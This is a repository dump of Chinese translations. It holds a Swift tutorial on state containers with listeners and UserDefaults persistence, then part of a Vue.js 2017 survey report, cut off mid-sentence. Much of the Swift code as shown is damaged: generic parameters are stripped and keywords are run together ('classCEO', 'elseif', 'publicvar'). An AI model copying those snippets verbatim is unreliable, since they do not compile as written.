在这篇文章中,我会演示一个基本的状态容器实现,我已经把它用于各种没有引入大型架构库的项目中。 ## 构建一个状态容器 让我们从构建一个基本的 `State` 类开始。 /// Wraps a piece of state. class State { /// Unique key used to identify the state across the application. let key: String /// Holds the state itself. fileprivate var _value: Type /// Used to synchronize changes to the state value. fileprivate let lockQueue: DispatchQueue /// Create a state container with the provided `defaultValue`, and associate it with a `key`. init(_ defaultValue: Type, key: String) { self._value = defaultValue self.key = key self.lockQueue = DispatchQueue(label: "com.stateContainers.\(key)", attributes: .concurrent) } /// Invoke this method after manipulating the state. func didModify() { print("State for key \(self.key) modified.") } } 这个基类封装了一个任何 `Type` 的 `_value`,通过一个 `key` 关联,并声明了一个提供 `defaultValue` 的初始化器。 ### 读取状态 为了读取我们状态容器的当前值,我们要创建一个计算属性 `value`。 由于状态改变通常是由多线程触发并读取的,所以我们要通过 GCD 使用一个[读写锁](https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock)来确保访问内部 `_value` 属性时的线程安全。 extension State { /// The current state value. var value: Type { var retVal: Type! self.lockQueue.sync { retVal = self._value // I wish there was a `sync` method that inferred a generic return value. } return retVal } } ### 改变状态 为了改变状态,我们还要创建一个 `modify(_newValue:)` 函数。虽然我们可以允许直接访问设置器,但在这里的目的是围绕状态改变来定义结构。在使用简单属性设置器的方法中,通过与我们 API 通信修改状态产生的影响。因此,所有的状态改变都必须通过这个方法来达成。 extension State { /// Modifies the receiver by assigning the `newValue`. func modify(_ newValue: Type) { self.lockQueue.async(flags: .barrier) { self._value = newValue } // Handle the repercussions of the modificationself. didModify() } } 为了有趣一些,我们自定义一个运算符! /// Modifies the receiver by assigning the right-hand side of the operator. func ~> (lhs: State, rhs: T) { lhs.modify(rhs) } ### 关于 `didModify()` 方法 `didModify()` 是我们状态容器中最重要的一部分,因为它允许我们定义在状态改变后所触发的行为。为了能够在任何时候这种情况发生时能够执行自定义的逻辑,`State` 的子类可以覆盖这个方法。 `didModify()` 也扮演着另一个角色。如果我们通用的 `Type` 是一个 `class`,状态器就可以无需知道它就可以更改它的属性。因此,我们暴露出 `didModify()` 方法,以便这些类型的更改可以手动传播(见下文)。 这是在处理状态时使用引用类型的固有危险,所以我建议尽可能使用值类型。 ### 使用状态容器 下面是如何使用我们 `State` 类的最基本的例子: // State wrapping a value type let themeColor = State(UIColor.blue, key: "themeColor") print(themeColor.value) // "UIExtendedSRGBColorSpace 0 0 1 1" 我们也可以使用`可选`类型: // State wrapping an optional value type let appRating = State(nil, key: "appRating") print(String(describing: appRating.value)) // "nil" 改变状态很容易: appRating.modify(4) print(String(describing: appRating.value)) // "Optional(4)" appRating ~> nil print(String(describing: appRating.value)) // "nil" 如果我们有无价值的类型(比如在状态改变时,不触发 `didSet` 的类型),我们调用 `didModify()` 方法,让 `State` 知道这个改变: classCEO : CustomDebugStringConvertible { var name: String init(name: String) { self.name = name } var debugDescription: String { return name } } // State wrapping a reference type let currentCEO = State(CEO(name: "John Sculley"), key: "currentCEO") print(currentCEO.value) // "John Sculley" // 分配一个新的用户属性,不需要调用 `didSet` currentCEO ~> CEO(name: "Steve Jobs") print(currentCEO.value) // "Steve Jobs" // 就地修改用户,需要手动调用 `didSet` currentCEO.value.name = "Tim Cook" currentCEO.didModify() print(currentCEO.value) // "Tim Cook" 手动调用 `didModify()` 是不好的,因为无法知道引用类型的内部属性是否改变,因为他们是可以现场(in-place)改变的,如果你有好的方法,@我 [@TTillage](https://twitter.com/TTillage)! ## 监听状态的改变 现在我们已经建立了一个基本的状态容器,让我们来扩展一下,让它更强大。通过我们的 `didModify()` 方法,我们可以用特定子类的形式添加功能。让我们添加一种方式,来“监听”状态的改变,这样我们的 UI 组件可以在发生更改时自动更新。 ### 定义一个 `StateListener` 第一步,让我们定义一个这样的状态监听器: protocol StateListener : AnyObject { /// Invoked when state is modified. func stateModified(_ state: State) /// The queue to use when dispatching state modification messages. Defaults to the main queue. var stateListenerQueue: DispatchQueue { get } } extension StateListener { var stateListenerQueue: DispatchQueue { return DispatchQueue.main } } 在状态改变时,监听器会在它选择的 `stateListenerQueue` 上收到 `stateModified(_state:)` 调用,默认是 `DispatchQueue.main`。 ### 创建 `MonitoredState` 的子类 下一步,我们定义一个专门的子类,叫做 `MonitoredState`,它会对监听器保持弱引用,并通知他们状态的改变。一个简单的实现方式是使用 `NSHashTable.weakObjects()`。 class MonitoredState : State { /// Weak references to all the state listeners. fileprivate let listeners: NSHashTable /// Used to synchronize changes to the listeners. fileprivate let listenerLockQueue: DispatchQueue /// Create a state container with the provided `defaultValue`, and associate it with a `key`. override init(_ defaultValue: Type, key: String) { self.listeners = NSHashTable.weakObjects() self.listenerLockQueue = DispatchQueue(label: "com.stateContainers.listeners.\(key)", attributes: .concurrent) super.init(defaultValue, key: key) } /// All of the listeners associated with the receiver. var allListeners: [StateListener] { var retVal: [StateListener] = [] self.listenerLockQueue.sync { retVal = self.listeners.allObjects.map({ $0 as? StateListener }).flatMap({ $0 }) // remove `nil` values } return retVal } /// Notifies all listeners that something changed. override func didModify() { super.didModify() let allListeners = self.allListeners let state = self for l in allListeners { l.stateListenerQueue.async { l.stateModified(state) } } } } 无论何时 `didModify` 被调用,我们的 `MonitoredState` 类调用 `stateModified(_state:)` 上的监听者,简单! 为了添加监听器,我们要定义一个 `attach(listener:)` 方法。和上面的内容很像,在我们的 `listeners` 属性上,使用 `listenerLockQueue` 来设置一个读写锁。 extension MonitoredState { /// Associate a listener with the receiver's changes. func attach(listener: StateListener) { self.listenerLockQueue.sync(flags: .barrier) { self.listeners.add(listener as AnyObject) } } } 现在可以监听任何封装在 `MonitoredState` 里任何值的改变了! ### 根据状态的改变来触发 UI 的更新 下面是一个如何使用我们新的 `MonitoredState` 类的例子。假设我们在 `MonitoredState` 容器中追踪设备的位置: /// The device's current location. let deviceLocation = MonitoredState(nil, key: "deviceLocation") 我们还需要一个视图控制器来展示当前设备在地图上的位置: // Centers a map on the devices's current locationclass LocationViewController : UIViewController { @IBOutlet var mapView: MKMapView! override func viewDidLoad() { super.viewDidLoad() self.updateMapForCurrentLocation() } func updateMapForCurrentLocation() { if let currentLocation = deviceLocation.value { // Center the map on the device's location self.mapView.setCenter(currentLocation.coordinate, animated: true) } } } 由于我们需要在 `deviceLocation` 改变的时候更新地图,所以要把 `LocationViewController` 扩展为一个 `StateListener`: extension LocationViewController : StateListener { func stateModified(_state: State) { ifstate === deviceLocation { print("Location changed, updating UI") self.updateMapForCurrentLocation() } } } 然后记住使用 `attach(listener:)` 把视图控制器附加到状态。实际上,这个操作可以在 `viewDidLoad`,`init` 或者任何你想要开始监听的时候来做。 let vc = LocationViewController() deviceLocation.attach(listener: vc) 现在我们正监听 `deviceLocation`,一旦我们从 `CoreLocation` 得到一个新的定位,我们所要做的只是改变我们的状态容器,我们的视图控制器会自动的更新位置! func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) { if let closestLocation = locations.first { // Triggers `updateMapForCurrentLocation` on the VC asynchronously on the main queue deviceLocation ~> closestLocation } } 值得注意的是,由于我们使用了一个弱引用 `NSHashTable`,在视图控制器被销毁时,`allListeners` 属性永远也不会有 `deviceLocation`。没有必要“移除”监听器。 记住,在真实的使用场景里,要确保视图控制器的 `view` 在执行更新 UI 之前是可见的。 ## 保持状态 OK,现在我们正在获得好的东东。我们可以把现在所需要的一切装在状态容器里,并且**保持**可以随时随地使用。 1. 我们现在有一个唯一的 `key` 用于与后备存储关联。 2. 我们知道值的 `Type`,通知它应该如何保持。 3. 我们知道什么时候值需要从存储器中加载,使用 `init(_defaultValue:key:)` 方法。 4. 我们知道什么时候值需要被保存在存储器中,使用 `didModify()` 方法。 ### 使用 `UserDefaults` 让我们创建一个状态容器,它可以**自动地**保存任何改变到 `UserDefaults.standard` 中,并且在初始化的时候重新加载之前的这些值。它同时支持可选类型和非可选类型。他也会自动序列化和反序列化符合 `NSCoding` 的类型,即使 `UserDefaults` 并没有直接支持 `NSCoding` 的使用。 这里是代码,我会在下面讲解。 class UserDefaultsState : MonitoredState { ///1) Loads existing value from `UserDefaults.standard`if it exists, otherwise falls back to the `defaultValue`. public override init(_defaultValue:Type, key:String) { let existingValue = UserDefaults.standard.object(forKey: key) if let existing = existingValue as? Type { //2) Non-NSCoding value print("Loaded \(key) from UserDefaults") super.init(existing, key: key) } elseif let data = existingValue as? Data, let decoded = NSKeyedUnarchiver.unarchiveObject(with: data) as? Type { //3) NSCoding value print("Loaded \(key) from UserDefaults") super.init(decoded, key: key) } else { //4) No existing value super.init(defaultValue, key: key) } } ///5) Persists any changes to `UserDefaults.standard`. public override func didModify() { super.didModify() let val = self.value if let val = val as? OptionalType, val.isNil { //6) Nil value UserDefaults.standard.removeObject(forKey:self.key) print("Removed \(self.key) from UserDefaults") } elseif let val = val as? NSCoding { //7) NSCoding value UserDefaults.standard.set(NSKeyedArchiver.archivedData(withRootObject: val), forKey:self.key) print("Saved \(self.key) to UserDefaults") } else { //8) Non-NSCoding value UserDefaults.standard.set(val, forKey:self.key) print("Saved \(self.key) to UserDefaults") } UserDefaults.standard.synchronize() } } #### `init(_defaultValue:key:)` 1. 我们的初始化方法检查 `UserDefaults.standard` 是否已经包含一个由 `key` 对应的值。 2. 如果我们能加载一个对象,并且它刚好是基本类型,我们可以立即使用它。 3. 如果我们加载的是 `Data`,那么使用 `NSKeyedUnarchiver` 解压,它会被 `NSCoding` 存储,然后我们立即使用它。 4. 如果 `UserDefaults.standard` 里没有和 `key` 匹配的值,我们就使用已提供的 `defaultValue`。 #### `didModify()` 5. 在状态改变的时候,我们想要自动保存我们的状态,这样做的方法依赖于 `Type` 6. 如果基本类型是 `Optional` 的,并且为 `nil`,我们只需要简单的把值从 `UserDefaults.standard` 移除,检查一个基本类型是否为 `nil` 有点棘手,不过 用协议扩展 `Optional` 是一个解决方法: ``` protocol OptionalType { /// Whether the receiver is `nil`.var isNil: Bool { get } } extension Optional : OptionalType { publicvar isNil: Bool { return self == nil } } ``` 7. 如果我们的值符合 `NSCoding`,我们就需要使用 `NSKeyedArchiver` 来把它转换成 `Data`,然后保存它。 8. 除此之外,我们只需把值直接存储到 `UserDefaults` 中。 现在,如果我们想要获得 `UserDefaults` 的支持,我们要做的仅仅是使用新的 `UserDefaultsState` 类! UserDefaults.standard.set(true, forKey: "isTouchIDEnabled") UserDefaults.standard.synchronize() let isTouchIDEnabled = UserDefaultsState(false, key: "isTouchIDEnabled") print(isTouchIDEnabled.value) // "true" isTouchIDEnabled ~> falseprint(UserDefaults.standard.bool(forKey: "isTouchIDEnabled")) // "false" 我们的 `UserDefaultsState` 会在其值更改时自动更新它的后台存储。在应用启动的时候,它会自动把 `UserDefaultsState` 中的现有值投入使用。 ### 支持其他的数据存储 这只是使用状态容器的例子之一,`State` 如何扩展到智能地存储自己的数据。在我的项目中,也建立了一些子类,当发生更改时,它们将异步地保留到磁盘或钥匙串。你甚至可以通过使用不同的子类来触发与远程服务器的同步或者将指定标记录到分析库中。它毫无限制。 ## 应用级别的状态管理 所以这些状态容器放在哪里呢?通常我把他们静态储存到一个 `struct` 里,这样可以在整个应用里访问。这与基于 Flux 库存储全局应用状态有些相似。 struct AppState { static let themeColor = State(UIColor.blue, key: "themeColor") static let appRating = State(nil, key: "appRating") static let currentCEO = State(CEO(name: "Tim Cook"), key: "currentCEO") static let deviceLocation = MonitoredState(nil, key: "deviceLocation") static let isTouchIDEnabled = UserDefaultsState(false, key: "isTouchIDEnabled") } 你可以使用分离或嵌入式的结构体以及不同的访问级别来调整状态容器的作用域。 ## 结论 在状态容器上管理状态有很多好处。以前放在单例上的数据,或在网络代理中传播的数据,现在已经在高层次上浮现出来并且可见。应用程序行为中的所有输入都突然变得清晰可见并且组织严谨。 从 API 响应到特征切换到受保护的钥匙串项,使用状态容器模式是围绕关键信息定义结构的优秀方式。状态容器可以轻松地用于缓存,用户偏好,分析以及应用程序启动之间需要保持的任何事情。 状态容器模式让 UI 组件不用担心如何以及何时生成数据,并开始把焦点转向如何把数据转换成梦幻般的用户体验。 ## 关于作者 CapTecher Tyler Tillage 位于[亚特兰大办公室](~/link.aspx?_id=4848D51075504B57822781008FC5CE6F&_z=z),在[应用设计和开发](~/link.aspx?_id=2C66A2C6A29E47CEB3DC7D3505D0DCF7&_z=z)有超过六年的经验。 他专注于移动和 web 的前端产品,并且热衷于使用成熟的设计模式和技术来构建卓越的用户体验。Tyler 曾为每个月数百万用户使用的零售和银行业构建 iOS 应用程序。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/state-of-vue-report-2017.md ================================================ ![2017-11-20_182302](https://user-images.githubusercontent.com/26959437/33013724-005297ca-ce20-11e7-8682-97b56068e933.png) # Vue 2017 报告 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * Event Organizer:[leviding](https://github.com/leviding) > * Translaters:[sasa-m](https://github.com/sasa-m)、[altairlu](https://github.com/altairlu)、[ParadeTo](https://github.com/ParadeTo)、[ly525](https://github.com/ly525)、[zwwill](https://github.com/zwwill)、[html5challenge](https://github.com/html5challenge)、[vxqqb](https://github.com/vxqqb) > * Reviewers:[leviding](https://github.com/leviding)、[ParadeTo](https://github.com/ParadeTo)、[PCAaron](https://github.com/PCAaron)、[vxqqb](https://github.com/vxqqb)、[zwwill](https://github.com/zwwill)、[caoyi0905](https://github.com/caoyi0905)、[JohnJiangLA](https://github.com/JohnJiangLA)、[html5challenge](https://github.com/html5challenge)、[iFwu](https://github.com/iFwu) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/state-of-vue-report-2017.md](https://github.com/xitu/gold-miner/blob/master/TODO/state-of-vue-report-2017.md) ## 序 几年前,Monterail 因其在 Ruby 和 Rail上 的专业建树,还是一家享有盛誉的软件开发商。不过现在看来,Monterail 和她的产品似乎有点过时了。当我们用 Ruby开发传统多页面应用程序时,很快意识到,随着技术的进步和发展,许多好的开发实践和规范已经发生了变化。因循守旧是无法满足市场需求的,在2011年,我们选择了 Backbone.js 作为我们涉足的第一个 js 框架。我们一直都积极地关注这个快速变化的世界,较早地采用了 Angular JS, 而且对其非常精通。如今,新一代的基于组件的开发框架里,我们团队已经研究了 React ( 包括 React Native ), Angula r( angular2 及以上)和使用最广泛的 Vue.js! ### 熟悉的不一定是好的 那些要求用 Vue 开发应用程序的客户在此之前,都没有听说过 Vue。可当他们使用后,都对 Vue 的扩展性和能力留下深刻印象,并希望在他们技术栈中包含 Vue。 我们认为,很多公司之所以使用那些选择有名的框架,并非是因为全面考虑相关信息做出的决定,而只是因为那些框架比较出名和耳熟而已。他们并没有意识到,名不见经传的 Vue 结合了 Angular,React 的先进的部分,并且更加友好。 ### 为什么要做这份调查 当使用 Vue 后,我们能够更有效率地交付更好的产品,更好地推动我们的业务,使客户更加满意,我们相信,Vue 值得关注并受到大家的喜爱。正因如此,我们决心开始向发者们和企业布道,把 Vue 传播到全世界;同时,我们策划了每周的 Vue-newsletter,组织了第一个 Vue.js 的国际性大会 VueConf,创建了 Vuelidate 和 Vue-mulitselect 等 Vue 库。 你即将阅读的这份报告我们是布道与宣传 Vue 的另一个里程碑。报告有三个主要目的。1.提供可信赖的 Vue 商业使用案例,让任何人都能够一窥其它公司是如何使用 Vue;2.让那些没有听说 Vue 的人了解 Vue,并让他们有足够的理由来更加仔细了解这个框架;3.让我们不再费力地说服客户相信 Vue.js 已经是一个成熟的解决方案,可以帮我们构建各类应用。 ### 报告的内容 享受阅读吧! **报告**展示了从企业主和开发者的角度去看待 Vue。我们调查了来自88个国家的1100多名行业专家,了解他们对于 Vue 的使用体验,他们喜欢的特性和那些不喜欢的特性;我们深入采访了6家公司,询问他们想用 Vue.js 解决哪些问题;另外,为了让读者对 Vue 近几年的发展有一个全面的了解,我们讲述了 Vue.js 的历史,以及框架的创建者尤雨溪对 Vue.js 未来的想法。 ![](https://i.niupic.com/images/2017/10/31/fXsajR.png) 报告的顺利完成得到了许多人的支持。他们分享他们的知识和经验,给予了我们莫大的帮助,仅仅因为他们想为社区贡献一份属于自己的力量。 感谢 Evan You(尤雨溪)。他从一开始就对这篇报告抱以热情,并在创建报告过程的各个阶段支持我们。同时,Evan You(尤雨溪)还分享了对 Vue.js 未来和后期规划相关的宝贵看法,并对我的努力表示支持。 感谢Vue.js的核心成员 Chris Fritz 和 Evan ,对我们分析调查结果给予了很大的帮助。真的很荣幸!因为有了这样的合作,我们对最终的报告质量非常满意。
            非常感谢 Jacob Schatz, Sylvain Simao, Roman Kuba, Gilles Bertaux, Scott O’Brien, Erin Depew, Matt O’Connell 和 Yuriy Nemtsov。没有你们花费间分享们们的故事,报告中的学习案例就不会存在。 ### 主要贡献者 ![](https://i.niupic.com/images/2017/10/31/gLIe1Z.png) ## Vue.js 的演变 你知道 Vue 第一次发布是在什么时候吗? 最初它甚至并不叫「Vue」。作者的首次提交是在 2013 年 06 月 27 日,那时项目叫「Seed」,转瞬间,Vue.js 已经四岁了。「Seed」这个名字用了六个月,在 2013 年 12 月初,作者把它正式更名为「Vue」。但是,Vue 的第一个对外的版本(0.8.0)在 2014 年 2 月 才发布,在那时候,Vue.js 还只关注 MVC 架构中视图(View)部分。 Vue 具有几方面重要的特性,使得它很容易被开发人员接受。 Vue 的模板语法风格很像 AngularJS,也有被 React 引入的基于组件的架构 这样,开发者可以从二者平滑地过渡到 Vue。我会把 Vue 想象为一个继承了父母(AngularJS,React)优秀基因的孩子,它自己也不断地提升开发者的使用体验。 也就在一年后,当时 Laravel 社区(一款流行的 PHP 框架的社区)首次使用 Vue,JS 社区才对 Vue 越来越感兴趣,也才真正的流行起来。几个月之后,期盼已久的 1.0 版本终于发布了,对于 Vue 来说,这是具有里程碑意义的一次版本发布。 与此同时,vue-router(2015-08-18)、vuex(2015-11-28)、vue-cli(2015-12-27)相继发布,这意味着 Vue.js 从一个视图层库发展为我们现在所说的渐进式框架。 去年,备受期待的 2.0-alpha 版本发布,它被彻底重写了,同时引入了一些新的概念,比如: Virtual DOM 和服务端渲染。但是,API 基本没有变化,因此从 1.0 到 2.0 版本可以平滑迁移。使用官方出品的[迁移工具](https://github.com/vuejs/vue-migration-helper)会帮助你完成迁移过程。 ### 社区 在接近一年的时间里,至今依然活跃的社区促使 Vue.js 成为了 JavaScript 三大顶级框架之一,而且看起来并不会止步不前。 人们非常喜爱 Vue。不要相信我们带有情感色彩的评估,看看这个数字:Vue 是 2016 年 GitHub 上 star 数最多的框架。 社区的兴趣是非常浓厚的,当我们启动 [Vue Newsletter](http://vue-newsletter.com/) 项目时,在几分钟内,便有数百人订阅了。一直没间断的邮件通知,让我们感觉自己就像 Instagram 的明星一样(备受关注)。Newsletter 的第一期有 759 人订阅,而到了 63 期,我们的订阅人数已差不多达 6000 人。每一期都是很难准备的,因为每周都产生很多和 Vue 相关的内容。每天都有高质量的教程、见解深刻的文章以及我能想到的库翻陈出新。有点疯狂。这还不是全部,Vue 社区有一个[活跃的论坛](https://forum.vuejs.org/)和一个[聊天频道](https://chat.vuejs.org/),每天都有成百上千的开发者活跃在上面。 此外,我们可以发现,随着开发者对 Vue 的兴趣逐渐浓厚,全球很多公司开始关注 Vue。点击 [Vue.js Jobs](http://vuejobs.com/),看看他们发布的职位吧。 ### 生态 值得一提的是,除了社区项目之外,Vue 核心开发团队也维护了一些官方库,比如 vue-router、vue-loader、vuex(状态管理库)、vue-rx 以及针对 RxJS 开发的 vuex-observable。还有一些工具库,比如 vue-cli、vue-server-renderer、vue-loader、vetur、vue-migration-helper。它们为什么重要? 因为这样,你就可以渐进式地使用其他核心库,这些库可以完美配合,使得 Vue 转变为一个像 Angular、Ember 一样完善的框架。当然,如果你的项目需要,你可以随时将其中的一部分切换为其它非官方的解决方案。官方库的另外一个好处是它们往往代表着高质量、长期支持以及与 Vue 良好的兼容性。 正如大家所料,像 Vue 社区这种大型而且参与感高的社区,会出现大量社区项目 不仅仅是小型项目、解决单一问题的库,我们现在来谈谈大型项目 举个例子,[Nuxtjs](https://nuxtjs.org) 是一个很有想法的基于 Vue 的框架,它采用了一些小工具库以及设计模式,这使得开发需要服务端渲染的应用变得极其简单。 [Quasar 框架](http://quasar-framework.org)可以帮助开发复杂的移动和桌面应用。还有其他流行的UI框架,比如:[Element-UI](http://element.eleme.io/#/en-US) 和 [Vuetify](https://vuetifyjs.com/),这些框架提供了几十个风格统一的 UI 组件来帮助你开发 Vue。在移动端开发方面,得到了 [OnsenUI](https://onsen.io/vue/) (由Monaca开发) 和 [NativeScript](https://www.nativescript.org/blog/a-new-vue-for-nativescript) 的大力支持。 从我作为一个 Web 开发者的角度来看,我可以向你保证 Vue 已经有你开发应用所需的一切了。每周,我都见证越来越多的库发布,以至于没有办法追踪所有的库。你可以在 [awesome-vue](https://github.com/vuejs/awesome-vue) 找到这些库。此外,Vue 核心开发团队在 [Vue Curated](http://curated.vuejs.org/) 管理了一些推荐的库,这些库主要用于表单验证、国际化、AJAX 等常见的任务,避免开发者在选择合适的库出现选择恐惧症。 ### 支持 许多人指出,和 Angular 或 React 不同的是,Vue 背后没有大公司的支持,而且看起来这也不太乐观 我绝不同意。Vue 和 jQuery、Babel、webpack 以及 JS 世界中其它可被信赖的工具一样体现了真正的开源精神。 这样有一个明显的优势:这些项目不用去满足这些公司的特定需求,取而代之的是更专注社区的需求。 Vue 实现了很多社区最需要的功能 说起 code spliting,webpack 核心开发团队成员 Sean Larkin,这样评价 Vue: > 首个使用 webpack 来提高开发者体验的框架。 但在开发体验上已经远远超越 webpack,而且体验在各个方面: 易用性、无缝集成、优秀的文档、整体的可扩展性。 显而易见,Vue.js 和很多其它开源项目一样,刚开始是一个个人作品。 慢慢地,它拥有了一个全职核心团队,专门负责维护它的各个方面和生态系统。 基金会呢? 近两年,通过在 Patreon 和 Open Collective 上的成功运作,全球的很多个人和公司决定每个月固定赞助尤雨溪(Vue 作者)和核心团队超过 10000 美元。这样,尤雨溪就可以全职从事 Vue 的开发了。 赞助者包括许多公司和几百位个人赞助者。在[这里](https://vuejs.org/support-vuejs/)可以看到这些赞助者们。 ### 成长 让我们通过一组数字来更直观地感受到 Vue 生态的快速成长。 以 GitHub 的 star 数为例,尽管它不是衡量一个项目知名度的完美指标。但开发者们很兴奋,而且这份兴奋使得 Vue 成为 [2016 年 Github 上获得 star 数最多的项目](https://risingstars2016.js.org/#all)。不限于 JavaScript 或者前端分类,在2016年,它是获得star数最多的项目。过了一段时间,到现在为止,它已经是 star 数第二多的前端框架了,仅次于 React。同时,它也是 GitHub 上 star 数第六多的项目,已经超过了 jQuery 和 Angular。 [2016 年前端调查](https://stateofjs.com/2016/frontend/)显示: Vue 是用户满意度最高的语言之一,89% 使用过 Vue 的开发者表示会再次使用 Vue。 当然,还有其他指标来衡量 诸如 npm 上每个月的下载量(大约 800k),开发者工具每周活跃用户数达到 270k。npm 上的下载量相比 React 的下载量相差很小。但值得一提的是:在过去的十二月,Vue 的下载量增长了 5 倍。以 Vue 现在的增幅,我相信在未来几年,这个数字将会以更快的速度增长。 事实上很大一部分的增长是因为越来越多的公司选择 Vue 作为主要的前端框架。除此之外,开发者们很欣赏 Vue 平滑的学习曲线、集成到现有的技术栈的便捷,以及顶尖的性能。也许最重要的因素是提升开发效率和减少维护成本。换句话说,选择 Vue,省钱。 但不要只信我的一家之言。为此,我们对来自 88 个国家的 1126 位开发者做了调研,并收集了一系列来自不同行业的采用 Vue 的案例。 ## 使用 Vue.js 的开发者调研报告 我们很好奇软件开发者以及技术主管们都是如何看待并使用 Vue.js 的,因此我们分发了一份网上问卷给他们,其中列举了以下这些问题: - 为何要将 Vue 加入你们的技术栈? - 使用该框架能带来哪些好处? - 如果考虑在项目中使用 Vue 的话,你们会主要担心哪些问题? - 你们使用哪些资源以便熟练地使用 Vue.js? - 你们的同事中有多少也在用 Vue?你们觉得在未来一年里这个人数会上升吗? - 你们和你们的团队分别使用 Vue.js 多久了? - 你们公司还使用过哪些其它的前后端技术? ### 报告的数据说明 该报告中的所有数据来源于我们在 2017 年的八月至九月进行的一次为期四周的调研。我们总共收到了 1,126 份问卷回复,大多来自于使用 Vue 的组织中的技术主管及软件开发者们(94.1% 的问卷回复者都承担相关的技术工作)。这些回复者们来自世界各大洲(除了南极洲),总共 88 个国家。 我们在撰写该报告的同时还针对一些调研结果咨询了 Vue 的创始人尤雨溪以及 Vue 的核心成员 Chris Fritz,他们为我们提供了一些独到的观点并分享了更深远的洞见。 ### 主要观点 - **96%** 的调研回复者表示会在他们的下一个项目中继续使用 Vue.js。 - **94%** 的回复者使用官方 Vue 文档作为他们了解该框架的主要资源。 - **81%** 的回复者说 Vue 的集成很方便,这是他们在自己组织中的技术栈里推行它的一个主要好处。 - **54%** 的回复者相信在未来 12 个月里,Vue.js 会在自己的组织中变得愈发流行。 ### 调研问卷中的问题 #### 将 Vue.js 加入技术栈中的最主要原因是? 不管开发者们新建还是接手已有的项目,他们基本一致地认为:Vue.js 很容易上手,哪怕是对于一个非常复杂的应用而言。他们评论说集成 Vue.js 很容易,原因在于它使用简单、架构优雅、同时设计精巧。不仅如此,他们还在将其与其它主流框架对比后声称 Vue 更轻量、性能更优,是毋庸置疑的胜者。总的来说,**超过半数的问卷回复者都认为 Vue.js 是个对入门者相当友好的框架。** **将 Vue.js 加入技术栈中的最主要原因** ![](https://i.loli.net/2017/11/01/59f9674ec9cac.png) - Vue.js 上手很容易 59% - 技术栈需要更新了 22% - 团队想尝试下这个框架 10% - 其它原因 9% > 很适合用于现有的或者新项目,而且用起来很容易! > > —— 技术主管,大企业,法国 > 集成进现有应用中,或者实现个纯单页应用都很方便。 > > —— 软件开发,中型企业,澳洲 #### 你和你的团队考虑将 Vue.js 加入技术栈的时候会有哪些顾虑? 对于这个提问,回复者们提到了两个主要担心的问题。首先的一点是关系到自己团队成员的,45% 的回复者都表示,这些成员们 **缺乏 Vue 的相关经验** ,而这会是他们在考虑将 Vue.js 加入技术栈的时候可能面临的问题。 **考虑将 Vue.js 加入技术栈时的顾虑** 该题为多项选择,因而结果总和超过 100% ![](https://i.loli.net/2017/11/01/59f96a6bb6cff.png) - 同事们缺少 Vue.js 相关经验 45% - 不确定该框架的未来趋势 45% - 缺少成熟的相关原生应用开发平台 23% - 对该框架的扩展性有所顾虑 15% - 其它顾虑 12% > Vue 在手机上的支持是在持续提高的。现在 Vue 已经提供了对 Progressive Web Apps 的强大支持,这其中包括了我们提供的可靠模板。社区项目中像是 Onsen UI 就简化了构建类 native 的 hybrid UI 的过程。 > > —— Chris Fritz,Vue.js 的核心开发 > 我们现在就有 Weex 和 NativeScript(译者补充:来支持开发原生应用), 但我们也承认这两者都有很多改善空间。Weex 其实被阿里巴巴用以线上开发已经很长一段时间了,也是其在手机开发领域上的主要选择。但 Weex 欠缺了一些英文文档和学习资料。为了弥补这一点,我们也已准备在接下来一年内提供官方指南,帮助大家使用 Vue 来开发 Weex。(译者补充:现已有[官网教程](https://weex.apache.org/cn/guide/intro/using-vue.html)) > > NativeScript 也是个很成熟的技术了,虽然它和 Vue 的集成还相对年轻,但每天进展飞速,令人印象深刻。所以如果你对使用 Vue 来开发原生应用有兴趣的话请一定要关注下。 > > —— 尤雨溪,Vue.js 创始人 **缺少成熟的原生应用开发平台** 也被相近比例的回复者提到,这也是他们在将 Vue.js 加入技术栈前的顾虑。 有 172 个被调研者勾选了对 Vue.js 扩展性的顾虑,这使得该选项成为五个阻碍着开发者们拥抱 Vue.js 的主要原因之一。 > Vue 的开发是基于组件化模型的,这也是现在所有主流框架中共享的一种适用于 UI 开发的设计模式。对于单页应用,Vue 提供了官方支持的路由库,也支持大规模状态管理。Vue 的设计初衷是轻量级易上手,但支持规模化也被我们设计在案。 > > 现已有很多成功的大规模项目是使用 Vue 打造的,有些甚至由几百个组件构成还照样运转得很顺利。另外值得一提的是,一些现有的大规模应用都在用 Vue 重写,我们收到了来自这些应用开发者们非常肯定的反馈,比如 Adobe Portfolio 和 JSFiddle。 > > —— 尤雨溪 #### 使用 Vue.js 给你的组织带来的最大好处是哪些? **81% 的开发者都强调了 Vue.js 的易于集成**,这个比例很惊人。大多数回复者都谈到要想熟练掌握 Vue 很容易,而且比起其它主流框架来说更容易。他们还称赞其**与后端框架集成也不复杂**。 60% 的开发者还提到 Vue 的文档是其亮点。差不多比例的回复者(56%)认为该框架的性能优异是其最大的优势。 **Vue 最大的优势** 多项选择,结果总和超过 100% ![](https://i.loli.net/2017/11/01/59f96ed5e1c69.png) - 易于集成 81% - 文档详尽 60% - 性能优异 56% - 与时俱进 49% - 社区活跃 29% - 其它优势 4% > Vue.js 的学习曲线很平缓,很多人因此产生兴趣。 > > —— 高级开发,中型企业,新西兰 > 我们之前在 React 和 Vue 之间进行过抉择,最后我们选择了 Vue,至今我们都很庆幸我们的选择。 > > —— 软件开发,中型企业,美国 > Vue.js 使得前端开发容易管理也易扩展。它的学习成本也不高,这使得后端开发们也不需要太多指导就能清楚前端这边的工作。因为现在已经有很多好用的 webpack 相关配置,使用 Vue 现在有点像是装个插件一样。最后说一点,运行时和编译时我们都能使用 